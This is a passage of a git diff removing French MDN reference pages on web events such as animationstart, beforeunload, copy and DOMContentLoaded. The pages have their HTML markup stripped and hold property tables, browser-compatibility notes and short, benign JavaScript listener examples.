type {{ReadOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{ReadOnlyInline}}booleanEst-ce que l'événement se propage?
cancelable {{ReadOnlyInline}}booleanEst-il possible d'annuler l'événement?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}Le nom de la propriété CSS associéee à la transition.
elapsedTime {{ReadOnlyInline}}FloatLe temps durant lequel l'animation a durée, en secondes, quand l'événement est déclenché, excepté le temps lorsque l'animation était en pause. Pour un événement animationstart, elapsedTime vaut zéro à moins que animation-delay ne soit négatif, et dans ce cas, l'événement sera déclenché avec un elapsedTime de (-1 * delay).
- -

Evénements liés

- -
    -
  • {{Event("animationstart")}}
    • -
  • {{Event("animationend")}}
    • -
  • {{Event("animationiteration")}}
    • -
- -

Voir aussi

- - diff --git a/files/fr/web/events/animationiteration/index.html b/files/fr/web/events/animationiteration/index.html deleted file mode 100644 index df8e3d89be..0000000000 --- a/files/fr/web/events/animationiteration/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: animationiteration -slug: Web/Events/animationiteration -translation_of: Web/API/HTMLElement/animationiteration_event ---- -

L'événement animationiteration est déclenché lorsqu'une itération d'une animation se termine. Cet événement ne se produit pas pour les animations avec animation-iteration-count valant 1.

- -

informations générales

- -
-
Spécification
-
CSS Animations
-
Interface
-
AnimationEvent
-
Synchronisme
-
synchronous
-
Propagation
-
Oui
-
Annulable
-
Non
-
Cible
-
Document, Element
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}La cible de l'événement (la plus haute cible dans l'arbre du DOM).
type {{ReadOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{ReadOnlyInline}}booleanEst-ce que l'événement se propage?
cancelable {{ReadOnlyInline}}booleanEst-il possible d'annuler l'événement?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}Le nom de la propriété CSS associéee à la transition.
elapsedTime {{ReadOnlyInline}}FloatLe temps durant lequel l'animation a durée, en secondes, quand l'événement est déclenché, excepté le temps lorsque l'animation était en pause. Pour un événement animationstart, elapsedTime vaut zéro à moins que animation-delay ne soit négatif, et dans ce cas, l'événement sera déclenché avec un elapsedTime de (-1 * delay).
- -

Evénements liés

- -
    -
  • {{Event("animationstart")}}
    • -
  • {{Event("animationend")}}
    • -
  • {{Event("animationiteration")}}
    • -
- -

Voir aussi

- - diff --git a/files/fr/web/events/animationstart/index.html b/files/fr/web/events/animationstart/index.html deleted file mode 100644 index 407bcb6dea..0000000000 --- a/files/fr/web/events/animationstart/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: animationstart -slug: Web/Events/animationstart -translation_of: Web/API/HTMLElement/animationstart_event ---- -

L'événement animationstart est déclenché quand une animation CSS a commencé. Si animation-delay est défini alors le déclenchement se fera une fois le delai expiré. Un délai négatif causera un déclenchement de l'événement avec un elapsedTime équivalent à la valeur absolue du délai.

- -

Informations générales

- -
-
Spécification
-
CSS Animations
-
Interface
-
AnimationEvent
-
Propagation
-
Oui
-
Annulable
-
Non
-
Cible
-
Document, Element
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}La cible de l'événement (la plus haute cible dans l'arbre du DOM).
type {{ReadOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{ReadOnlyInline}}booleanEst-ce que l'événement se propage?
cancelable {{ReadOnlyInline}}booleanEst-il possible d'annuler l'événement?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}Le nom de la propriété CSS associéee à la transition.
elapsedTime {{ReadOnlyInline}}FloatLe temps durant lequel l'animation a durée, en secondes, quand l'événement est déclenché, excepté le temps lorsque l'animation était en pause. Pour un événement animationstart, elapsedTime vaut zéro à moins que animation-delay ne soit négatif, et dans ce cas, l'événement sera déclenché avec un elapsedTime de (-1 * delay).
- -

Evénements liés

- -
    -
  • {{Event("animationstart")}}
    • -
  • {{Event("animationend")}}
    • -
  • {{Event("animationiteration")}}
    • -
- -

Voir aussi

- - diff --git a/files/fr/web/events/audioprocess/index.html b/files/fr/web/events/audioprocess/index.html deleted file mode 100644 index ae89178361..0000000000 --- a/files/fr/web/events/audioprocess/index.html +++ /dev/null @@ -1,151 +0,0 @@ ---- -title: audioprocess -slug: Web/Events/audioprocess -translation_of: Web/API/ScriptProcessorNode/audioprocess_event ---- -
-

L'événement audioprocess est déclenché lorsqu'un tampon d'entrée d'une API Web audio {{domxref("ScriptProcessorNode")}} est prêt à être traité.

-
- -

Informations générales

- -
-
Spécification
-
{{SpecName('Web Audio API', '#AudioProcessingEvent-section', 'AudioProcessingEvent')}}
-
Interface
-
{{domxref("AudioProcessingEvent")}}
-
Propagation
-
?
-
Annulable
-
?
-
Cible
-
{{domxref("ScriptProcessorNode")}}
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}La cible de l'événement (la plus haute cible dans l'arbre du DOM).
type {{ReadOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{ReadOnlyInline}}booleanEst-ce que l'événement se propage?
cancelable {{ReadOnlyInline}}booleanEst-il possible d'annuler l'événement?
playbackTime {{ReadOnlyInline}}doubleLe moment auquel le son sera joué tel que défini par le temps de {{domxref("AudioContext.currentTime")}}.
inputBuffer {{ReadOnlyInline}}{{domxref("AudioBuffer")}} -

Le tampon contenant les données audio d'entrée devant être traité. Le nombre de canaux est défini par le paramètre numberOfInputChannels de la méthode {{domxref("AudioContext.createScriptProcessor()")}}. Noter que le AudioBuffer retourné est seulement valide dans la portée de la fonction onaudioprocess.

-
outputBuffer {{ReadOnlyInline}}{{domxref("AudioBuffer")}} -

Le tampon dans lequel doit être écrit les données audio de sortie. Le nombre de canaux est défini par le paramètre numberOfOutputChannels de la méthode {{domxref("AudioContext.createScriptProcessor()")}}. Noter que le AudioBuffer retourné est seulement valide dans la portée de la fonction onaudioprocess.

-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('Web Audio API', '#AudioProcessingEvent-section', 'AudioProcessingEvent')}}{{Spec2('Web Audio API')}} 
- -

Compatibilités navigateur

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support basique{{CompatVersionUnknown}}{{property_prefix("webkit")}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
AppareilAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support basique{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
-
- -

Voir aussi

- - diff --git a/files/fr/web/events/beforeprint/index.html b/files/fr/web/events/beforeprint/index.html deleted file mode 100644 index 970bfb6580..0000000000 --- a/files/fr/web/events/beforeprint/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: beforeprint -slug: Web/Events/beforeprint -tags: - - Evènement - - Reference -translation_of: Web/API/Window/beforeprint_event ---- -

L'événement beforeprint est déclenché lorsque le document associé est sur le point d'être imprimé ou qu'un "aperçu avant impression" est lancé.

- -

Informations générales

- -
-
Spécification
-
HTML5
-
Interface
-
Event
-
Propagation
-
Non
-
Annulable
-
Non
-
Cible
-
DefaultView (<window>)
-
Action par défaut
-
Aucune
-
- -

Exemples

- -

En utilisant window.addEventListener() :

- -
window.addEventListener("beforeprint", (evenement) => {
-  console.log("Before print");
-});
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

Evénements liés

- - diff --git a/files/fr/web/events/beforeunload/index.html b/files/fr/web/events/beforeunload/index.html deleted file mode 100644 index c0b22cfb83..0000000000 --- a/files/fr/web/events/beforeunload/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: beforeunload -slug: Web/Events/beforeunload -translation_of: Web/API/Window/beforeunload_event ---- -

L'événement beforeunload est déclenché quand la fênetre, ou le document, et leurs resources sont sur le point d'être déchargés.

- -

Lorsqu'une chaîne de caractères est assignée à la propriété returnValue de {{domxref("Event")}}, une boîte de dialogue apparaît demandant confirmation avant de quitter la page (voir exemple plus bas). Certains navigateurs affichent la valeur retournée, alors que d'autres affichent leur propre message. Si aucune valeur n'est fournie, l'événement est traité silencieusement.

- -
-

Note : Afin d'éviter les "pop-ups" indésirables, les navigateurs peuvent ne pas afficher les alertes créées dans les gestionnaires beforeunload.

-
- -
-

 Attacher un gestionnaire d'événement beforeunload à window ou à document empêche les navigateurs d'utiliser leur mémoire cache ; consulter Utilisation du cache de Firefox 1.5 ou WebKit's Page Cache (en anglais).

-
- - - - - - - - - - - - - - - - - - - - -
PropagationNon
AnnulableOui
Object cibledefaultView
Interface{{domxref("Event")}}
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéTypeDescription
target {{readOnlyInline}}{{domxref("EventTarget")}}La cible de l'événement (la plus haute cible dans l'arbre du DOM).
type {{readOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{readOnlyInline}}{{jsxref("Boolean")}}Est-ce que l'événement se propage ?
cancelable {{readOnlyInline}}{{jsxref("Boolean")}}Est-il possible d'annuler l'événement ?
returnValue{{domxref("DOMString")}}La valeur de retour de l'événement (le message à afficher à l'utlisateur)
- -

Exemples

- -
window.addEventListener("beforeunload", function (event) {
-  event.returnValue = "\o/";
-});
-
-// est équivalent à
-window.addEventListener("beforeunload", function (event) {
-  event.preventDefault();
-});
- -

Les navigateurs basés sur WebKit ne suivent pas les spécifications pour la boîte de dialogue. Un exemple pratiquement compatible entre les navigateurs serait à peu près comme suit:

- -
window.addEventListener("beforeunload", function (e) {
-  var confirmationMessage = "\o/";
-
-  e.returnValue = confirmationMessage;     // Gecko, Trident, Chrome 34+
-  return confirmationMessage;              // Gecko, WebKit, Chrome <34
-});
- -

Notes

- -

Quand l'événement retourne une valeur non nulle, l'utilisateur est invité à confirmer le déchargement de la page. Dans la plupart des navigateurs, la valeur de retour de l'événement est affiché dans une boîte de dialogue. Dans Firefox 4 et plus, la chaine de caractères retournée n'est pas affiché à l'utilisateur. A la place, Firefox affiche "Cette page demande de confirmer sa fermeture ; des données saisies pourraient ne pas être enregistrées". Voir {{bug("588292")}}.

- -

Depuis le 25 Mai 2011, la spécification HTML5 indique ques les appels aux méthodes {{domxref("window.alert()")}}, {{domxref("window.confirm()")}} et {{domxref("window.prompt()")}} peuvent être ignorés durant l'événement. Voir specification HTML5 pour plus de détails.

- -

Noter aussi que de nombreux navigateurs ignorent le résultat  de l'événement (il n'y a donc aucune demande de confirmation). Firefox a une préférence cachée dans about:config pour faire de même. Essentiellement, cela signifie que l'utilisateur confirme toujours silencieusement que le document peut être déchargé.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}{{Spec2("HTML5 W3C")}}Première définition
- -

Voir aussi

- - diff --git a/files/fr/web/events/complete/index.html b/files/fr/web/events/complete/index.html deleted file mode 100644 index 5e3b264f1c..0000000000 --- a/files/fr/web/events/complete/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: complete -slug: Web/Events/complete -translation_of: Web/API/OfflineAudioContext/complete_event ---- -
-

L'événement complete est déclenché lorsque le rendu d'un {{domxref("OfflineAudioContext")}} est terminé.

-
- -

Informations générales

- -
-
Spécification
-
{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}
-
Interface
-
{{domxref("OfflineAudioCompletionEvent")}}
-
Propagation
-
?
-
Annulable
-
?
-
Cible
-
{{domxref("OfflineAudioContext")}}
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
renderedBuffer {{readonlyInline}}{{domxref("AudioBuffer")}}The buffer containing the result of the processing of an {{domxref("OfflineAudioContext")}}.
- -

Evénements liés

- -

Aucun

- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}{{Spec2('Web Audio API')}} 
- -

Voir aussi

- - diff --git a/files/fr/web/events/compositionend/index.html b/files/fr/web/events/compositionend/index.html deleted file mode 100644 index 8a15ab679a..0000000000 --- a/files/fr/web/events/compositionend/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: compositionend -slug: Web/Events/compositionend -translation_of: Web/API/Element/compositionend_event ---- -

L'événement compositionend est déclenché lorsque la composition d'un texte via {{glossary("input method editor", "méthode de saisie")}} est terminée ou annulée (démarre avec des caractères spéciaux qui requièrent une séquence de touches et d'autres entrées telles que la reconnaissance vocale ou la suggestion de mot sur mobile).

- -

Par exemple, cette événement pourrait être déclanché quand un utilisateur saisie un caractère chinois en utilisant la méthode de saisie Pinyin.

- - - - - - - - - - - - - - - - - - - - -
Se propage/remonte dans le DOMOui
AnnulableOui
Interface{{domxref("CompositionEvent")}}
Propriété pour la gestion d'évènementAucune
- -

Exemple

- -

Html

- -
<div class="control">
-  <label for="name">Sur macOS, cliquez sur la boîte de texte,<br> puis appuyez sur <kbd>option</kbd> + <kbd>`</kbd>, puis <kbd>a</kbd>:</label>
-  <input type="text" id="example" name="example">
-</div>
-
-<div class="event-log">
-  <label>Log d'événement:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea>
-  <button class="clear-log">Effacer</button>
-</div>
- - - -

JS

- -
const inputElement = document.querySelector('input[type="text"]');
-const log = document.querySelector('.event-log-contents');
-const clearLog = document.querySelector('.clear-log');
-
-clearLog.addEventListener('click', () => {
-    log.textContent = '';
-});
-
-function handleEvent(event) {
-    log.textContent = log.textContent + `${event.type}: ${event.data}\n`;
-}
-
-inputElement.addEventListener('compositionstart', handleEvent);
-inputElement.addEventListener('compositionupdate', handleEvent);
-inputElement.addEventListener('compositionend', handleEvent);
- -

Resultat

- -

{{ EmbedLiveSample('Exemple', '100%', '180px') }}

- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatus
{{SpecName('UI Events', '#event-type-compositionend')}}{{Spec2('UI Events')}}
- -

Compatibilités navigateurs

- -

{{Compat("api.Element.compositionend_event")}}

- -

Evénements liés

- -
    -
  • {{Event("compositionstart")}}
    • -
  • {{Event("compositionupdate")}}
    • -
diff --git a/files/fr/web/events/compositionstart/index.html b/files/fr/web/events/compositionstart/index.html deleted file mode 100644 index 8b72ed5d31..0000000000 --- a/files/fr/web/events/compositionstart/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: compositionstart -slug: Web/Events/compositionstart -translation_of: Web/API/Element/compositionstart_event ---- -

L'événement compositionstart est déclenché lorsque la composition d'un passage de texte est préparée (similaire à keydown pour une entrée clavier, mais démarre avec des caractères spéciaux qui nécessitent une sequence de touches et d'autres entrées telles que la reconnaissance vocale ou la suggestion de mots du mobile).

- -

Informations générales

- -
-
Interface
-
{{domxref("TouchEvent")}}
-
Propagation
-
Oui
-
Annulable
-
Oui
-
Cible
-
{{domxref("Element")}}
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}Elément ayant le focus qui traite la composition
type {{ReadOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{ReadOnlyInline}}booleanEst-ce qu'il se propage?
cancelable {{ReadOnlyInline}}booleanPeut-il être annulé?
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (fenêtre du document)
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string) -

La chaîne de caractères originale éditée ou une chaîne vide.

-
locale {{ReadOnlyInline}}{{domxref("DOMString")}} (string)Le code de la langue pour l'événement de composition si disponible; Sinon une chaîne vide.
- -

Compatibilités navigateur

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support basique{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop("9.0")}}[2]{{CompatVersionUnknown}}[3]{{CompatNo}}{{CompatVersionUnknown}}[1]
-
- -
- - - - - - - - - - - - - - - - - - - -
NavigateurAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support basique{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] La valeur de l'attribut data est fausse

- -

[2] L'événement a été déclenché dans les versions de Gecko antérieures à la 9.0, mais n'avait pas les attributs et les méthodes DOM Level 3.

- -

Gecko ne supporte pas l'attribut locale pour les événements approuvés pour l'instant. Cependant, cette valeur peut être définie via initCompositionEvent() à la création d'événements non-approuvés.

- -

Selon la spécification DOM Level3, compositionstart est annulable; Cependant, Gecko ne vous laisse pas l' annuler.

- -

Gecko déclenche l'événement lorsque IME commence la composition, et quelques plateformes n'ont pas d'API pour annuler la composition une fois commencée. De plus, Gecko ne peut pas savoir si un événement clavier va commencé la composition ou non jusqu'à ce que IME ne la commence réellement. A cause de celà, {{domxref("event.preventDefault()")}} ne fonctionne pas sur l'événement compositionstart avec Gecko.

- -

Les éditeurs de Gecko (comme <input type="text"> <div contenteditable/> et designMode) commence la composition après la phase de propagation de compositionstart. Donc, au moment où votre gestionnaire de compositionstart est appelé, aucun contenu n'a été modifié.

- -

[3] La valeur de data est toujours vide.

- -

Evénements liés

- -
    -
  • {{Event("compositionend")}}
    • -
  • {{Event("compositionupdate")}}
    • -
diff --git a/files/fr/web/events/compositionupdate/index.html b/files/fr/web/events/compositionupdate/index.html deleted file mode 100644 index ba22586181..0000000000 --- a/files/fr/web/events/compositionupdate/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: compositionupdate -slug: Web/Events/compositionupdate -translation_of: Web/API/Element/compositionupdate_event ---- -

L'événement compositionupdate est déclenché lorsqu'un caractère est ajouté à un passage de texte en train d'être composé (démarre avec des caractères spéciaux qui nécessitent une sequence de touches et d'autres entrées telles que la reconnaissance vocale ou la suggestion de mots du mobile).

- -

Informations générales

- -
-
Interface
-
{{domxref("TouchEvent")}}
-
Propagation
-
Oui
-
Annulable
-
Non
-
Cible
-
{{domxref("Element")}}
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}Elément ayant le focus qui traite la composition. Nul si non-accessible.
type {{ReadOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{ReadOnlyInline}}booleanEst-ce qu'il se propage?
cancelable {{ReadOnlyInline}}booleanPeut-il être annulé?
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (fenêtre du document).
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string)La chaîne de caractères originale éditée ou une chaîne vide.
locale {{ReadOnlyInline}}{{domxref("DOMString")}} (string)Le code de la langue pour l'événement de composition si disponible; Sinon une chaîne vide.
- -

Compatibilités navigateur

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support basique{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop("9.0")}}[2]{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
NavigateurAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Suport basique{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] N'est pas distribué immédiatement après l'événement compositionstart.

- -

[2] Les événements compositionupdate sont déclenchés avant avant que le contenu éditable ne soit réellement modifié; C'est-à-dire que la valeur d'un élément éditable n'a pas encore été modifiée lorsque les gestionnaires de compositionupdate sont appelés. A partir de Gecko 12.0 {{geckoRelease("12.0")}}, les événements input sont déclenchés durant l'édition, après que le contenu de l'élément a été modifié. Cela permet d'obtenir le contenu mis à jour pendant que l'édition est en cours.

- -

Gecko ne supporte pas l'attribut locale pour les événements approuvés pour l'instant. Cependant, cette valeur peut être définie via initCompositionEvent() à la création d'événements non-approuvés.

- -

Voir aussi

- -
    -
  • {{Event("compositionstart")}}
    • -
  • {{Event("compositionupdate")}}
    • -
  • {{Event("compositionend")}}
    • -
diff --git a/files/fr/web/events/copy/index.html b/files/fr/web/events/copy/index.html deleted file mode 100644 index d3a9ee8224..0000000000 --- a/files/fr/web/events/copy/index.html +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: copy -slug: Web/Events/copy -translation_of: Web/API/Element/copy_event ---- -

L'événement copy est déclenché lorsque l'utilisateur initie une copie par le biais de l'interface du navigateur (par exemple, Ctrl/Cmd+C ou "copier" du menu contextuel) et en réponse d'un appel de {{domxref("Document.execCommand", "document.execCommand('copy')")}} autorisé.

- -

Informations générales

- -
-
Spécification
-
Clipboard
-
Interface
-
{{domxref("ClipboardEvent")}}
-
Propagation
-
Oui
-
Annulable
-
Oui
-
Cible
-
{{domxref("Element")}}: L'élément ayant le focus (pour les éléments {{domxref("HTMLElement.contentEditable", "contentEditable")}} - l'élément contenant le début de la sélection), ou l'élément {{HTMLElement("body")}}
-
Action par défaut
-
Voir ce-dessous
-
- -

Un gestionnaire de cet événement peut modifier l'objet {{domxref("ClipboardEvent.clipboardData")}} en appellant {{domxref("DataTransfer.setData", "setData(format, data)")}}:

- -
document.addEventListener('copy', function(e){
-    e.clipboardData.setData('text/plain', 'Hello, world!');
-    e.clipboardData.setData('text/html', '<b>Hello, world!</b>');
-    e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
-});
- -

Un gestionnaire de cet événement ne peut pas lire les données du presse-papiers en utilisant {{domxref("DataTransfer.getData", "clipboardData.getData()")}}.

- -

L'action par défaut de l'événement dépend de la source de celui-ci et du comportement du gestionnaire:

- -
    -
  • Un événement de copie synthétique n'a pas d'action par défaut;
    • -
  • Si l'événement n'a pas été annulé: Copie de la sélection (s'il y a) dans le presse-papiers;
    • -
  • Si le gestionnaire a annulé l'événement et appelé setData(): Copie le contenu de clipboardData de {{domxref("ClipboardEvent")}};
    • -
  • Si le gestionnaire a annulé l'événement sans appelé setData(): Aucune action.
    • -
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

Compatibilités navigateur

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support basique{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(22) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
NavigateurAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support basique{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatUnknown() }}{{ CompatGeckoMobile(22) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

Evénements liés

- -
    -
  • {{event("copy")}}, {{event("cut")}}, {{event("paste")}}
    • -
diff --git a/files/fr/web/events/domcontentloaded/index.html b/files/fr/web/events/domcontentloaded/index.html deleted file mode 100644 index ce6a198e3e..0000000000 --- a/files/fr/web/events/domcontentloaded/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: DOMContentLoaded -slug: Web/Events/DOMContentLoaded -translation_of: Web/API/Window/DOMContentLoaded_event ---- -
{{APIRef}}
- -

L’évènement DOMContentLoaded est émis lorsque le document HTML initial a été complètement chargé et analysé, sans attendre que les feuilles de style, images et sous-documents aient terminé de charger.

- - - - - - - - - - - - - - - - - - - - -
BouillonneOui
AnnulableOui (bien que spécifié comme évènement simple non annulable)
Interface{{domxref("Event")}}
Propriété de gestion de l’évènementAucune
- -

La cible originale pour cet évènement est le {{domxref("Document")}} qui a terminé de charger. Vous pouvez observer cet évènement sur l’interface Window pour le gérer dans les phases de capture ou de bouillonnement. Pour plus de détails, veuillez consulter la page de l’évènement {{domxref("Document/DOMContentLoaded_event", "Document: DOMContent​Loaded event")}}.

- -

L’évènement load, très différent, doit être utilisé uniquement pour détecter qu’une page est entièrement chargée. C’est une erreur répandue d’utiliser load là où DOMContentLoaded serait beaucoup plus approprié.

- -
-

Note : Le JavaScript synchrone interromp l’analyse du DOM.

-
- -
-

Note : Il existe également de nombreuses bibliothèques indépendantes à usage général qui offrent des méthodes multi-navigateur pour détecter quand le DOM est prêt.

-
- -

Accélérer

- -

Si vous voulez que le DOM soit analysé aussi rapidement que possible après que l’utilisateur ou l’utilisatrice a demandé la page, vous pouvez rendre votre JavaScript asynchrone et optimiser le chargement des feuilles de style. Ces dernières, sans optimisation, ralentissent le chargement de la page parce qu’elles sont chargées en parallèle, et « subtilisent » de la bande passante au document html principal.

- -

Exemples

- -

Utilisation basique

- -
window.addEventListener("DOMContentLoaded", (event) => {
-    console.log("DOM entièrement chargé et analysé");
-  });
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationStatut
{{SpecName('HTML WHATWG', 'indices.html#event-domcontentloaded')}}{{Spec2('HTML WHATWG')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("api.Window.DOMContentLoaded_event")}}

- -

Voir aussi

- -
    -
  • Évènements associés : {{event("load")}}, {{event("readystatechange")}}, {{event("beforeunload")}}, {{event("unload")}}
    • -
  • Cet évènement sur les cibles {{domxref("Document")}} : {{domxref("Document/DOMContentLoaded_event", "Document: DOMContent​Loaded event")}}
    • -
diff --git a/files/fr/web/events/ended_(web_audio)/index.html b/files/fr/web/events/ended_(web_audio)/index.html deleted file mode 100644 index 950e8ef545..0000000000 --- a/files/fr/web/events/ended_(web_audio)/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: ended (Web Audio) -slug: Web/Events/ended_(Web_Audio) -translation_of: Web/API/HTMLMediaElement/ended_event -translation_of_original: Web/Events/ended_(Web_Audio) ---- -
-

L'événement ended est déclenché lorsque la lecture s'est arrêté parce que la fin du média a été atteinte.

-
- -

Informations générales

- -
-
Spécification
-
{{SpecName("Web Audio API")}}
-
Interface
-
{{domxref("Event")}}
-
Propagation
-
Non
-
Annulable
-
Non
-
Cible
-
{{domxref("AudioBufferSourceNode")}}
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

Evénements liés

- -
    -
  • {{event("playing")}}
    • -
  • {{event("waiting")}}
    • -
  • {{event("seeking")}}
    • -
  • {{event("seeked")}}
    • -
  • {{event("ended")}}
    • -
  • {{event("loadedmetadata")}}
    • -
  • {{event("loadeddata")}}
    • -
  • {{event("canplay")}}
    • -
  • {{event("canplaythrough")}}
    • -
  • {{event("durationchange")}}
    • -
  • {{event("timeupdate")}}
    • -
  • {{event("play")}}
    • -
  • {{event("pause")}}
    • -
  • {{event("ratechange")}}
    • -
  • {{event("volumechange")}}
    • -
  • {{event("suspend")}}
    • -
  • {{event("emptied")}}
    • -
  • {{event("stalled")}}
    • -
